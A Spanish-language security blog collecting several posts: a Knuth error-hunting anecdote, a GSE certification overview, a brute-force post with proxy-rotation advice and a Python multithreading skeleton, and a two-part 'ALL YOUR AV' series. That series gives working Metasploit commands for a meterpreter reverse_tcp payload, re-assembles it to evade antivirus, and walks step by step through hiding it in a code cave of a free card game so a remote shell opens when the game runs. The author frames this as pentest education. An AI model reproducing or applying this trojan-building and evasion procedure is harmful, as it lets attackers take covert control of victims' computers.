Haciendo una fortuna a costa del Dr. Knuth

Hace unos días leí un twitt que me hizo recordar mis años de universidad donde pasaba incontables horas sumergido en los misterios del mundo académico. Ejem, no tan así pero es una buena linea de inicio para este post. El twitt hacía referencia a la siguiente caricatura:

El chiste es particularmente gracioso, pero sólo para un pequeño grupo de personas especializadas en el mundo de la matemática aplicada a la computación. Estoy seguro que muchos de mis compañeros matemáticos no le encontrarán ningun chiste, y la gran mayoría de computistas tampoco. Como en realidad es muy gracioso, he decidido escribir este artículo y compartir un poco de "LULZ" con el resto de geeks.

El Dr. Knuth es un científico de la computación (computer scientist) famoso entre otras cosas por haber escrito el trabajo seminal multi-volumen "The Art of Computer Programming". De acuerdo a la Wikipedia (y para muchos más): El Dr. Knuth es considerado "el padre" del análisis de algoritmos además de haber contribuido al desarrollo riguroso del análisis de la complejidad computacional y de sistematizar técnicas matemáticas formales para este análisis. En el proceso, tambien popularizó la notación asintótica.

Adicionalmente, "The Art of Computer Programming" es considerada una de las obras literarias mas influyentes sobre la ciencia de nuestro siglo y en realidad el razonamiento lógico y perfeccionismo que se respira al leer los libros del Dr Knuth es impresionante. De hecho, el compromiso del Dr. Knuth por hacer de sus publicaciones unas verdaderas obras de arte llega al punto de ofrecer una simbólica recompensa a los que encuentren errores significativos en cualquiera de sus libros. Por supuesto, nadie hace esto por los 0x$1.00 ($2.56) dólares que ofrece el Dr. Knuth de recompensa, si no mas bien por el valor simbólico de formar parte (aunque sea ínfima) de la historia que se convertirá en el legado científico para las generaciones de los siglos por venir.

O en todo caso esa fue mi motivación. En mis años de academia, lo confieso, yo fui el terror de muchos de mis profesores. Probablemente algunos llegaron a pensar que disfrutaba encontrandoles errores. Otros sin embargo, disfrutaban conmigo la busqueda de las fallas y vulnerabilidades en los argumentos planteados. De hecho tanto fue mi disfrute que 15 años despues todavía me dedico a buscar y demostrar fallas en los sistemas que protegen nuestros delicados e importantes datos y comunicaciones a nivel global. Así es la vida, el que nace para zapatero, desde pequeño le gusta la pega.

En mi caso, la busqueda por el error en los libros del Dr. Knuth fue mas bien circumstancial. La suerte (o destino) orquestó para mí que tomará la materia "Matemática Computacional" en la Universidad Simón Bolivar (Venezuela) en donde usamos "Concrete Mathematics" como libro principal. Me gustaría decir que durante el curso revisé meticulósamente cada afirmación, teorema y ejercicio que mi mente y mi apretado horario de clases me permitieran entender con claridad. Pero no fue así. Obviamente, hace tanto tiempo que no recuerdo muy bien. Sin embargo, algo como que me equivoqué de ejercicio asignado y terminé haciendo el que no era suena más a mí. En ese ejercicio estaba el error.

De hecho, no fuí exitoso en lo que consideré mi primer hallazgo. Pero así como los hackers, yo nunca me doy por vencido. En el segundo intento lo logré. Si me preguntan ahora, juraré que en esos tiempos estuve convencido que la primera carta que le envié al Dr. Knuth también expone un error. Sin embargo, siendo él la autoridad en notación asintótica, pues veo (ahora) muy dificil haberlo podido convencer. Para mi defensa, en ese tiempo, no sabía que él era la autoridad en la notación asintótica. Exacto, la ignorancia es irreverente.

Cuando leí el chiste del comienzo de este artículo me dije a mi mismo: "Nah, no creo que esa sea una buena idea para hacer una fortuna". De hecho muy probablemente la respuesta del Dr. Knuth sería algo al estilo de lo que apareció en el comentario de la foto: "Estimado lector, adjunto hay un cheque por 98 céntimos de dolar. Utilizando tu propio trabajo, he demostrado que esta cantidad es equivalente a lo que has solicitado". Así son los grandes, siempre te van a ganar al final. El Dr. Knuth es, sin lugar a dudas, uno de los grandes de nuestros tiempos. En consecuencia, no pense ni por un momento antes o ahora en tratar de reclamar recompensa por el error que hay en el cheque al tratar de escribir mi apellido. Aún si esto fuera un error que se convirtiera en recursivo, ¿De qué me sirven un monton de cheques que al final no pienso cobrar? Con uno es más que suficiente. Y para mí, hasta ahí llego la busqueda de errores en los libros de Knuth.

Tengo otras anécodtas de mis años universitarios sufridas con personajes del mundo matemático. Sin embargo, dejaré éstas para otros artículos pues no caben todas en el margen de esta pagina web.(si, exacto, Fermat).

ALL YOUR AV STILL ARE BELONG TO US - Parte 2

Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

En el artículo anterior logramos demostrar que nuestro antivirus no es capaz de detectar el payload generado con el encoder defecto de metasploit (shikata_ga_nai). La primera solución descrita fue simplemente usar un ensamblador poco popular, y miramos como nuestro antivirus quedó completamente inutilizado. Sin embargo, no podemos cantar victoria todavía. Esta técnica de evasión una vez empezada a usarse rutinariamente durará a lo sumo 3 días funcionando hasta que los antivirus encuentren aún otro patrón para detectarla. Tal vez unas cuantas semanas porque mi artículo fue escrito en español y pues el undergroung hispanohablante no se compara con el anglosajón, pero el argumento es el mismo.

Ahora, sosteniendo que el payload en sí mismo no es el que está siendo detectado, lo único que necesitamos para hacer un poco más dificil su detección es simplemente embeber su funcionalidad en otro ejecutable. Me hubiera gustado utilizar algo como "stress-reducer-desktop-destroyer.exe" para demostrar esta técnica. Para los que no lo conocen les dejo un screenshot de este programita por demás adictivo:

Pero mi antivirus ya lo detectaba como sospechoso, asi que vence el propósito de mi demostración. En consecuencia, comencé a buscar otros candidatos gratuitos pero todos tenían unos terminos de servicio que prohiben su modificación binaria. Como aquí no condonamos ninguna actividad ilegal o inmoral, decidimos volver nuestra atención a nuestros buenos y fieles amigos del software libre. Nótese sin embargo, que el criminal informático común y corriente no tiene remordimiento ni restricción moral o ética alguna para no aplicar estas mismas técnicas a cualquier programa popular, ya sea un juego, el calc.exe de windows o hasta un programa ilegal de generación de claves. Es por esta razón que es tan importante llevar estos conocimientos al mundo de la seguridad informática y aprender de ellos. En todo caso, la aplicación premiada resulto ser "calculation-1.0.1". Este juego es alguna variación de solitario o algo parecido que tiene que ver con cartas/naipes/etc. Siento un poco de verguenza de ni siquiera haber averiguado de que trata este juego, pero no es primordial para nuestros propositos. Sin embargo, aquí les dejo un screenshot para compensar un poco la indiferencia:

Comenzamos investigando a calculation con cualquier debugger. Para efectos de esta demostración utilizamos el más simple de todos: ollydbg. El primer paso es encontrar un sitio apropiado para alojar nuestro payload. Sitios candidatos son obviamente la sección de código del programa, pero el espacio efectivamente utilizable de esta sección es usualmente muy pequeño. Otra sección posible es la sección de datos. Sin embargo, el uso de esta sección es un trabajo muy delicado pues hay que tener cuidado de no aplastar variables que se supone deberían estar inicializadas en 0 para el funcionamiento del programa. Nuestra mejor opción siempre será la sección de "resources" (.rsrc). Esta sección es normalmente utilizada para agregar los íconos e información miscelanea del programa. Adicionalmente, esta sección es, por lo general, la última sección del ejecutable. Esto significa que si no existe suficiente espacio en ella para nuestro código, siempre es posible agrandar un poco su tamaño en el encabezado PE y luego con un editor hexadecimal agregar 0's a nuestro archivo. Cualquiera sea el caso, hay que verificar que la sección que alojará nuestro código esté marcada con permisos de escritura pues nuestro payload estará reescribiendose a sí mismo. Si, así de bueno es shikata_ga_nai (lol). Para comenzar, abrimos nuestro ejecutable en olly y encontramos nuestra "caverna para código":

En este caso, al abrir calculation con olly y revisar las secciones disponibles nos encontramos con una larga secuencia de 0's en la sección .rsrc. Esta será nuestra "code cave". Apuntamos la primera dirección vacia: 0x0042442D pues la necesitaremos cuando hagamos la llamada a CreateThread. Como siempre, la generación del payload la hacemos con nuestras herramientas de metasploit:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.66 LPORT=80 R | msfencode -t raw | xxd -i - > payload.txt
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Y simplemente lo acomodamos con un poco de "search and replace" para eliminar los ", 0x" de tal forma que queden solo los valores hexadecimales para pegarlos en nuestra caverna de código:

da de d9 74 24 f4 58 31 c9 bb 79 ba ... etc.

Olly marca en rojo los cambios hechos al ejecutable que todavia no han sido guardados en disco. En este punto es importante anotar la siguiente dirección vacía despues de nuestro payload: 0x0042456A. El siguiente paso requiere escribir un poquito de assembler. No es nada del otro mundo. Lo único que necesitamos es llamar a la función CreateThread de kernel32.dll con la dirección de nuestro payload. La idea es por supuesto, ejecutar nuestro payload y no interferir con la ejecución de calculation. En otras palabras, mientras nuestro objetivo de penetración esta jugando plácidamente con los naipes, nosotros estamos obteniendo control de su computadora. El código en assembler es simplemente algo como:

push 0x0042456A
push 0,0
push 0x0042442D
push 0,0
call CreateThread

En donde el valor del primer "push" es nuestra primera dirección vacía despues del payload. Esta dirección alojará un parametro de salida de CreateThread. La segunda dirección empujada es simplemente la posición de nuestro payload. El significado de los otros parametros se dejan como ejercicio al lector. En olly, insertamos estas instrucciones asi:

Ahora estamos listos para para modificar el flujo de ejecución del programa. Simplemente anotamos la dirección de nuestro primer push: 0x0042456E y vamos al origen del programa (shortcut *) para anotar las primeras instrucciones originales de calculation:

0040C4D0 > $ 55                 PUSH EBP
0040C4D1   . 8BEC               MOV EBP,ESP
0040C4D3   . 6A FF              PUSH -1
0040C4D5   . 68 F8844100        PUSH calction.004184F8

Algunas de estas instrucciones tendremos que copiarlas de regreso a calculation dentro de nuestra caverna de código. Esto es con la idea de reanudar su ejecución normal despues de crear nuestro thread con el payload. La modificación que es necesaria aquí es más que evidente. Simplemente tenemos que reescribir la primera instrucción con un jmp a la dirección de nuestro primer push: 0x0042456E. La modificación queda de esta forma:

Con esta modificación, lo primero que se hará al iniciar este ejecutable es saltar a nuestra caverna de código y empezar a empujar los parametros de CreateThread. Es evidente que nuestra modificación ha eliminado las primeras 3 instrucciones originales del ejecutable. Estas instrucciones hay que volverlas a colocar en nuestra caverna de código despues de llamar a CreateThread y luego hacer el salto de regreso a la dirección que no fue modificada: 0x0040C4D5. Esta modificación se ve como sigue:

Listo! Seleccionamos todo el código modificado, click derecho->copy to executable->Selection, y en la ventana de dump, de nuevo, click derecho->save to file, y guardamos nuestro ejecutable modificado con un nombre distinto. Es importante repetir este procedimiento para la modificación del punto de origen también despues de abrir nuestro ejecutable recien guardado.En este punto estamos casi listos. Sólo hace falta una última modificación. Como recordaremos, nuestro código se encuentra en la sección .rsrc. Como nuestro payload se modifica a sí mismo mientras se ejecuta, es importante que la sección .rsrc tenga permisos de escritura. Para tal fin, simplemente vamos al encabezado PE en olly, y modificamos el valor de "caracteristicas" de la sección resources de esta forma:

Como siempre de nuevo guardar nuestro cambios y listo!. Así es como queda nuestra modificación:

C:\Documents and Settings\winxp\Escritorio>dir calction.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

13/06/2002  17:48           128.000 calction.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>dir calction-post.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

05/06/2011  11:42           128.000 calction-post.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>

Los dos ejecutables tienen el mismo tamaño y si ejecutáramos el calculation modificado, no veriamos ninguna diferencia con respecto al original:

Sin embargo, de regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 16 opened (192.168.137.66:80 -> 192.168.137.67:4543) at 2011-06-05 15:12:26 -0400

meterpreter>

Esta técnica es bastante efectiva, sin embargo, tiene algunos inconvenientes. Las llamadas a las funciones y saltos dentro del ejecutable que hemos hecho utilizan direcciones fijas. Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar. Adicionalmente, como nuestro payload se ejecuta dentro de un hilo de ejecución de calculation, cuando nuestro objetivo se canse de jugar a los naipes y cierre nuestro programa, la conexion de nuestro payload también morirá. Este último problema puede resolverse configurando un script de autoejecución en metasploit. Sin embargo, para solucionar el primer problema es necesario programar un poquito más de assembler y conjurar algo más de magia para hacer a nuestro troyano un programa completamente relocalizable. Este técnica será el tema de nuestro siguiente artículo de esta serie. Mantenerse en sintonía.

ALL YOUR ANTIVIRUS ARE BELONG TO US - parte 1

Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

De una forma fundamental, el mecanismo de acción de estos sistemas de protección (antivirus) está destinado a "fallar". Esta sentencia catastrófica se debe a que de una u otra forma, su funcionamiento está basado en el reconocimiento de "firmas" o patrones de uso. El gran número de posibilidades que existen para la creación de sistemas, tanto maliciosos o no, hace que la tarea de detectar en un 100% las amenazas sea imposible. Sin embargo, los sistemas antivirus han sido usados por nosotros tradicionalmente por decadas, y a falta de un mejor substituto no dejarán de ser usados

En esta serie de artículos describo tan sólo una de las formas de cómo se logra modificar un binario inofensivo para contener la capacidad "maliciosa" que normalmente sería detectada por nuestros antivirus. El objetivo de este saga es doble. El principal objetivo consiste en demostrar lo inadecuado que resulta confiar exclusivamente en los sistemas antivirus como única linea de defensa para los sistemas de usuarios finales. Adicionalmente, también busco demostrar lo peligroso que es ejecutar binarios de procedencia dudosa, sin sopesar la cantidad de funcionalidades troyanizadas dentro de él.

Para comenzar, es necesario seleccionar la funcionalidad troyana a ser embebida. Mi favorita son los "payloads" de metasploit. Primeramente por su flexibilidad, pero segundo porque a pesar de que los fabricantes antivirus afirmen fervientemente que son capaces de detectarlos, la verdad parece ser lo contrario.

Para comenzar, creamos un payload con metasploit y comprobamos su detección por el antivirus:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {"LHOST"=>"192.168.137.1", "LPORT"=>"80"}
root@bt:~#

Este resultado no cambia aún si realizamos "encoding" a nuestro payload antes de presentarlo al sistema windows protegido por este antivirus:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t exe > meterpreter_encoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Es aquí cuando los fabricantes de antivirus cantan victoria. Sin embargo, nótese cómo ambas detecciones son con respecto a algo "generico": swPatch, y no algo específico/propio de las caracteristicas de este payload. Como bien apunta mi colega Leandro Leoncini, es más que suficiente la siguiente receta para evadir completamente esta detección:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t raw | xxd -i - > meter_asm.asm
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~# vim meter_asm.asm
root@bt:~# cat meter_asm.asm
data section
payload db 0xbe, 0x93, 0x0a, 0xb5, 0xab, 0xdb, 0xd9, 0xd9, 0x74, 0x24, 0xf4, 0x58,  0x29, 0xc9, 0xb1, 0x49, 0x31, 0x70, 0x14, 0x83, 0xe8, 0xfc, 0x03, 0x70,
[snip]
0x02, 0x59, 0x85,  0xaa, 0x6a, 0x67, 0xf0, 0x9d, 0x35, 0x98, 0xd7, 0x1f, 0x0a, 0x4f, 0x1e,  0x9a, 0x7a, 0xe5, 0x72, 0x66
code section
start:
call payload

root@bt:~#

Luego en un sistema Windows, compilamos y enlazmos con (por ejemplo):

C:\Documents and Settings\winxp\Escritorio\test>GoAsm.Exe meter_asm.asm
GoAsm.Exe Version 0.56.8 - Copyright Jeremy Gordon 2001/9 - JG@JGnet.co.uk
Output file: meter_asm.obj

C:\Documents and Settings\winxp\Escritorio\test>GoLink.exe meter_asm.obj

GoLink.Exe Version 0.26.14 - Copyright Jeremy Gordon 2002/9 - JG@JGnet.co.uk
Output file: meter_asm.exe
Format: win32 size: 1,536 bytes

C:\Documents and Settings\winxp\Escritorio\test>

El resultado:

Lo que demuestra que el antivirus anteriormente no estaba detectando el payload si no algún patron de la forma en que se construye el ejecutable a través de metasploit.

De regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 1 opened (192.168.137.66:80 -> 192.168.137.67:4271) at 2011-06-04 15:41:08 -0400
meterpreter >

Lo cual significa que ya podemos empezar a tomar screenshots, capturar teclas escritas, prender la camara web, prender el micrófono, sniffear tráfico y un gran etcétera.

En la siguiente parte de esta serie de artículos, demostraremos cómo insertar la funcionalidad que acabamos de ocultar completamente de nuestro antivirus dentro de otro binario completamente independiente. Con esto logramos que la presencia de nuestro payload sea aún más inconspicua y le quitamos al antivirus cualquier esperanza de detectar la forma en que el payload es armado en un ejecutable. "Stay tuned".

Primer GSE en América Latina

Es para mi un gran orgullo el convertirme en el primer Latinoamericano recipiente de la prestigiosa certificación GIAC Security Expert (GSE).

Para los que no la conocen, la certificación GSE es considerada, desde su creación en el año 2003, la certificación más prestigiosa en el área de la seguridad informática. Hasta la fecha, solo 35 personas en el mundo han logrado cumplir los requisitos necesarios para obtener este reconocimiento.

La razón por la que esta certificación es tan reconocida tiene que ver con la profundidad técnica y la amplitud de los conocimientos requeridos a sus aspirantes. En el sitio web oficial de GIAC se pueden conseguir los detalles de estos requerimientos. Sin embargo, yo hago aquí un resumen para alentar a mis colegas latinoamericanos a aceptar el reto de conseguir esta prestigiosa certificación:

Como pre-requisitos para poder intentar el examen final de certificación GSE, es necesario obtener las siguientes certificaciones previas:

1.- GIAC GSEC - GIAC Security Essentials. Certificación base de conocimientos en seguridad informática. No es recomendable dejarse engañar por el nombre. A pesar de llamarse "esencial", los conocimientos requeridos por esta certificación son comparables a los del CISSP (ISC2). La diferencia es que para esta certificación no es suficiente ser "book smart". Para obtener esta certificación es necesario tener conocimientos prácticos sobre los 10 dominios del CBK, y adicionalmente, tener experiencia sobre su aplicación tanto en Sistemas Windows como Linux.

2.- GIAC GCIH - GIAC Certified Intrusion Handler. Esta certificación está enfocada al manejo experto de intrusiones informáticas. En otras palabras, ¿Qué hacer una vez que descubro que mis sistemas han sido vulnerados? Para obtener esta certificación no sólo es necesario conocer de forma práctica el proceso detallado para manejar una intrusión ilegal en nuestros sistemas de comienzo a fin. Por el contrario, esta certificación también requiere familiarizarse profundamente sobre las últimas y más avanzadas técnicas mediante las cuales los criminales informáticos vulneran nuestros sistemas.

3.- GIAC GCIA - GIAC Certified Intrusion Analyst. Esta certificación está enfocada a la detección temprana y oportuna de la intrusión informatica. En otras palabras ¿Qué hacer para detectar intentos de intrusión y prevenirlos o al menos detenerlos en su fase más temprana? Para obtener esta certificación no sólo es necesario conocer las trazas, indicaciones y advertencias que producen las actividades de intrusiones ilegales. Adicionalmente, es requerido que el candidato obtenga proficiencia en el uso de sistemas de detección de intrusos y alerta temprana de última generación y extremadamente sofisticados.

Adicionalmente, es necesario completar al menos dos de las anteriores certificaciones con la calificación "GOLD". Esto quiere decir que el candidato además de aprobar el examen de certificación de selección simple, debe realizar un trabajo de investigación académica relacionado a su certificación. Este trabajo es revisado y calificado con los mismos estándares de una publicación científica. Estos trabajos son posteriormente publicados en el salón de lectura del SANS Institute.

Alternativamente, algunos de estos requisitos pueden ser reemplazados con el siguiente esquema:

1.- GSEC puede reemplazarse por GCUX y GCWN. Estas dos últimas certificaciones tienen que ver con la implementación, administración y monitoreo de sistemas basados en Unix y Linux respectivamente.

2.- Cada calificación GOLD puede ser reemplazada por una certificación de alto nivel. Estas certificaciones de alto nivel profundizan en áres especificas de la seguridad informática, como por ejemplo: pruebas de penetración en redes, pruebas de penetración de aplicaciones web, pruebas de penetracion de redes inalambricas, análisis forense, analisis de malware, etc. El listado completo de certificaciones sustitutas es el siguiente: GCFA, GCFW, GCUX, GCWN, GCED, GPEN, GWAPT, GAWN, GREM. Mayor información puede obtenerse aquí.

Con esto quedan cubiertos los pre-requisitos y el candidato tiene el derecho de aplicar para presentar el examen de certificación GSE propiamente dicho. Es decir, ahora es que viene lo bueno. Una vez la aplicación del candidato es aceptada, el examen de certificación GSE consta de dos partes.

1.- La primera parte es un prueba de selección simple que examina los conocimientos de las tres certificaciones base en conjunto y en contexto. Es decir, este examen requiere que el candidato no sólo sepa aplicar los conocimientos adquiridos en las certificaciones anteriores, sino que los sepa aplicar en conjunto. Adicional al requerimiento de poder aplicar los conceptos adquiridos de una forma contextual en escenarios realisticos, este examen es como cualquier otro de selección simple tomado en las certificaciones anteriores..

2.- La segunda parte es un examen práctico de dos días de duración. Esta parte es el corazón mismo de la certificación. El candidato armado con tan sólo una laptop, su conocimiento y su experiencia, le demuestra al panel jurado del GSE que posee los conocimientos para enfrentarse a los problemas de seguridad informática más relevantes de hoy en día de forma práctica e indiscutible. Aquí no hay cabida para los "adivinadores" de preguntas o las tácticas de examenes de selección simple. Por dos días consecutivos, el candidato se enfrenta a una batería rigurosa de preguntas que deben ser respondidas utilizando solamente las herramientas provistas por GIAC y en el tiempo determinado como aceptable para cada una de las secciones del examen.

Despues de esta odisea, valorable en sí misma nada mas con el proceso de preparación requerida, queda la parte más sencilla de todas. Sentirse orgulloso de unos de los logros más importantes de tu carrera como profesional de la seguridad informática. Si estás pensando en aventurarte a tomar el examen y quieres conocer más detalles, consejos, o simplemente comentar con alguien que paso por lo mismo que tu pasarás, siéntete libre de escribirme usando el link de contacto.

Implementando ataques de fuerza bruta.

"En teoria, la práctica y la teoría son iguales. En la práctica, no lo son."

Bruce Schneier.

Y en efecto, en algunos casos, la teoría y la práctica, llegan a ser muy distintas. Especificamente, por ejemplo, muchos clientes de mis pruebas de penetración consideran que los ataques descritos en artículos anteriores son imprácticos pues: "cualquier firewall/IPS es capaz de bloquear tu dirección IP apenas se detecte el ataque de fuerza bruta". Sin embargo, esta medida de mitigación funciona sólo en teoría y sólo si tu atacante es un novicio.

En la práctica, la medida de bloquear la dirección IP de tu atacante no sería tan mala de no ser por la gran cantidad de proxies libres y pagos a la disposición de cualquiera que pueda ejecutar una busqueda en google. Si además agregamos la gran cantidad de servicios baratos en "las nubes" (ya sea de amazon, o las creadas por los criminales informáticos en lo que se conoce como "botnets"), nos damos cuenta que en realidad nuestro atacante dispone de una cantidad casi inagotable de direcciones IP desde donde puede lanzar su ataque! En la práctica, lo que sucederá al bloquear la dirección IP de nuestro atacante "no-novicio" es que simplemente se utilizará otra dirección IP casi instantaneamente. Antes de detener a tu atacante efectivamente mediante el bloqueo de su cada vez nueva dirección IP, será tu firewall/IPS quien muy probablemente tendrá serios problemas de desempeño al intentar bloquear tantas direcciones IP particulares. Esta consecuencia es muy bien conocida por los que nos hemos enfrentado a estos tipos de ataque de forma rutinaria y conocemos los intringulis de la bestia de forma práctica, no sólo teórica.

 
Pero ¿qué tan fácil es implementar un ataque de cambio de dirección IP automático luego que el administrador novicio intente bloquear nuestra dirección IP? la respuesta es: trivial. Por ejemplo, si estamos trabajando contra un sistema web, con nuestro propio script en perl y usando la libreria LWP::UserAgent, agregar la funcionalidad mencionada requiere una sola linea de código:

$ENV{HTTP_PROXY} = 'http://direccion.ip.del.proxy:puerto_del_proxy';

Y por supuesto, es necesario codificar el manejo de error cuando la conexión falle y cambiar la variable anterior. Este método tiene la ventaja que cualquier otro script que esté atento a la variable de entorno, continuará funcionando transparentemente luego de hacer este cambio en vivo. En caso que el proxy requiera autenticación, las modificaciones necesarias son igualmente triviales. El último ingrediente necesario es una lista de proxies que como hemos visto, es de muy fácil acceso hasta para el principiante.

DIGRESIÓN: Si no conocias la información anterior y estas pensando iniciar tu carrera criminal con las técnicas descritas aquí, te tengo malas noticias. Usar proxies de esta manera no provee la anonimidad que muchos probablemente piensan. Es muy fácil dejar pistas de tu identidad por muchos lados y si tu víctima tiene los recursos y tiempo para buscarte te van a atrapar. En mis trabajos de forénsica de redes hemos logrado atrapar a muchos atacantes novicios de forma muy rápida debido a errores muy tontos de su parte. Mi recomendación: olvida el mundo criminal y ejecuta este tipo de demostraciones de forma profesional, con permiso y ganando buen dinero por ello.

Esta digresión me lleva al siguiente punto equivocado que escucho con cierta frecuencia de mis clientes con un poco más de experiencia en estos temas.  El argumento es mas o menos el siguiente: "en la presencia de un ataque de fuerza bruta, nosotros no bloqueamos ninguna dirección IP, nosotros bloqueamos directamente al individuo que ejecuta el ataque, lo buscamos con ayuda de las autoridades y lo visitamos a su casa". Esta política es mucho más efectiva que la anterior pero sólo hasta cierto punto. Asumiendo que tu organización tiene los recursos y el tiempo para ejecutar tal respuesta en todos los casos, lo cual no es usual, y asumiendo también que tu atacante se encuentra en tu jurisdicción o una jurisdicción colaboradora, esta medida sólo será efectiva contra los atacantes menos sofisticados. Tu criminal informático "profesional", del tipo que va tras organizaciones con los recursos y tiempo que estamos considerando, muy probablemente también sepa contra-medidas para no ser encontrado. Hablamos no sólo de medidas técnicas, como encadenamiento de proxies, sino que incluso pueden tambien hacerle una visita mafiosa al investigador técnico a cargo de tu investigación. En otras palabras, tu atacante cuenta con exactamente las mismas posibilidades que tú, sólo que desde el punto de vista criminal y sin restricciones legales.

En cuanto a las técnicas avanzadas de anonimidad que usan estos "criminales informáticos avanzados", pienso que no tienen cabida en este tipo de artículos. Por un lado, porque para el pentester profesional tienen muy poca utilidad. En nuestras pruebas de penetracion nosotros no sólo tratamos de no cambiar IP. Por el contrario, intentamos ser lo más identificables posible. Esta situación es, por supuesto, con la idea de proveer a la organización que nos contrata de un método efectivo para diferenciar un ataque verdadero de las actividades de nuestro servicio. Por el otro lado, tampoco tienen cabida pues este blog trata de ser un punto de referencia para los profesionales de seguridad informática y no una enciclopedia de ayuda a los pichones de criminales informáticos.

La conclusión de este segundo error común con respecto a los ataques de fuerza bruta es: no siempre podrás identificar físicamente a tu atacante. En consecuencia, no puedes confiar enteramente en esta medida tampoco.

El tercer y último "error" que escucho, aunque no muy frecuentemente debido al detalle técnico que requiere, de mis clientes es el siguiente: "para una organización incluso tan pequeña como la mía, es relativamente barato hacer que el espacio de búsqueda de mi atacante sea lo suficientemente grande como para que su ataque requiera tanto tiempo que se genere un cambio de interés en sus objetivos". Este argumento es 100% correcto. Por supuesto, usualmente lo escucho de clientes con sistemas de nombres de usuario de 8 caracteres y un password de 4 dígitos. Obviamente, este espacio de búsqueda es realmente muy pequeño para los estándares de recursos actuales, pero no dejan de tener razón en la teoría.

El problema es el siguiente: ¿Cuándo es un espacio de busqueda lo suficientemente grande sin hacer que mis usuarios tengan que recordar credenciales inhumanamente grandes? En este tema intervienen demasiados factores como para dar una respuesta adecuada para todos los casos. En consecuencia, yo siempre recomiendo hacer lo que equivale a un "análisis de stress" a la aplicación. Simplemente se ejecuta un ataque de fuerza bruta controlado sobre los procesos importantes incluyendo el de "login" y se estudian los resultados. Al final de este trabajo no sólo se tiene un estimado de cúal es la capacidad de atención real del sistema, sino que también se tiene un estimado de la velocidad con que un atacante puede conseguir la información que necesita para continuar su ataque. Es con esta información que se deben tomar decisiones sobre controles de mitigación en lugar de abusar de los "estandares" y/o "buenas practicas" y/o ISO-XXXX como se quieran llamar. Siempre hay que recordar: los estandares no dejan de ser una recomendación meramente teorica y que se quedan, en la gran mayoría de casos, muy cortos en la práctica.

El tema es tán sutíl que hasta colegas pentesters con cierta trayectoria reportan una tasa muy pequeña de velocidad de revisión en los ataques de fuerza bruta ejecutados por sus scripts. Una de las formas en que pentesters (y criminales) profesionales hacen scripts de gran desempeño es mediante el uso de multi-threading. Hace un tiempo y para aprender algo de python decidí hacer un esqueleto de muti-threading para utilizarlo con mis scripts. Al ser mi primer programa en python está un poco áspero en los bordes, pero lleva a cabo el trabajo con efectividad:

class RequestThread(threading.Thread):
        def __init__(self, id, request_queue):
                threading.Thread.__init__(self, name ="ResquestThread-%d" %(id,))
                self.request_queue = request_queue
        def run(self):
                while 1:
                        pid = self.request_queue.get()
                        # trabajar con pid. Manejar errores de la transaccion web con cuidado.
                        # 3 posibles estados: exito->anotar exito y terminar, error->anotar error y terminar, else->reintentar.


class InputThread(threading.Thread):
        def __init__(self, id, salir, tope, startp, startt):
                threading.Thread.__init__(self, name ="InputThread-%d" %(id,))
                self.salir = salir
                self.tope = tope
                self.startp = startp
                self.startt = startt
        def run(self):
                while 1:
                        text = str(raw_input())
                        if text == "quit":
                                #salir
                                salir.put(1)
                                break
                        cur = tope.get()
                        print "pid: " + str(cur) + " Speed: " + str(abs(cur - self.startp)/abs(time.time() - self.startt)) + " thrs/sec",

if __name__ == "__main__":
        pid = 0 ### Inicio del ataque de fuerza bruta. Esto puede ser la secuencia de usernames/passwords/etc.

        N_compute_threads = 30 ## Numero de Threads concurrentes. 30 es un buen numero para iniciar las pruebas.
        request_queue = Queue.Queue(N_compute_threads)

        for i in range(N_compute_threads):
                RequestThread(i,request_queue).start()

        salir = Queue.Queue(1)
        tope = Queue.Queue(1)

        InputThread(1, salir, tope, pid, time.time()).start()

        while salir.full() == False:
                if request_queue.full() == False:
                        request_queue.put(pid)
                        try:
                                tope.get_nowait()
                        except:
                                pass
                        tope.put(pid)
                        pid = pid + 1

        for i in range(N_compute_threads):
                request_queue.put(None)
        print "Shuting down " + str(pid)
        while request_queue.empty() == False:
                print "!",
                time.sleep(1)





